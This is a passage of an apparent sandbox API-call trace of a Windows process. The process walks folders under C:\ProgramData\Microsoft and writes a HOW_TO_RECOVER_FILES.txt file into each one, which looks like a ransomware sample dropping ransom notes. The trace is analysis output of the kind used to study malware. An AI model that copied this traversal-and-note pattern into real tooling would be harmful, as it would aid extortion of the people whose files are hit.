lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x25 [0104.686] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.687] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.687] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0104.687] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0104.688] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.688] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x25 [0104.688] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.688] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xfbfe5ab1, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.688] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0104.688] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.688] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0104.689] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", lpFilePart=0x0) returned 0x2b [0104.689] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.689] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.689] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0104.689] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0104.689] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0104.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0104.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0104.690] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views", lpFilePart=0x0) returned 0x2b [0104.690] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.690] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.690] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0104.690] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0104.690] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0104.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0104.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0104.691] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpFilePart=0x0) returned 0x44 [0104.691] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.691] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.691] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.691] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0104.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0104.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0104.691] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpFilePart=0x0) returned 0x44 [0104.692] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.692] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.692] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0104.692] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0104.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0104.692] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5d [0104.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0104.692] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\applicationviewsrootnode\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0104.693] GetFileType (hFile=0x7dc) returned 0x1 [0104.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0104.693] GetFileType (hFile=0x7dc) returned 0x1 [0104.693] WriteFile (in: hFile=0x7dc, lpBuffer=0x36914b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x36914b8*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0104.694] CloseHandle (hObject=0x7dc) returned 1 [0104.694] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0104.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0104.694] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0104.695] GetFileType (hFile=0x7dc) returned 0x1 [0104.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0104.695] GetFileType (hFile=0x7dc) returned 0x1 [0104.695] WriteFile (in: hFile=0x7dc, lpBuffer=0x3694d20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3694d20*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0104.697] CloseHandle (hObject=0x7dc) returned 1 [0104.697] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3e [0104.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0104.697] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0104.698] GetFileType (hFile=0x7dc) returned 0x1 [0104.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0104.698] GetFileType (hFile=0x7dc) returned 0x1 [0104.698] WriteFile (in: hFile=0x7dc, lpBuffer=0x3698568*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3698568*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0104.699] CloseHandle (hObject=0x7dc) returned 1 [0104.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.699] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x24 [0104.699] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.700] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.700] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INT", cAlternateFileName="")) returned 1 [0104.700] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0104.700] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0104.700] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0104.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0104.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0104.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0104.701] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x24 [0104.701] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.701] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.701] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INT", cAlternateFileName="")) returned 1 [0104.701] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0104.701] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, 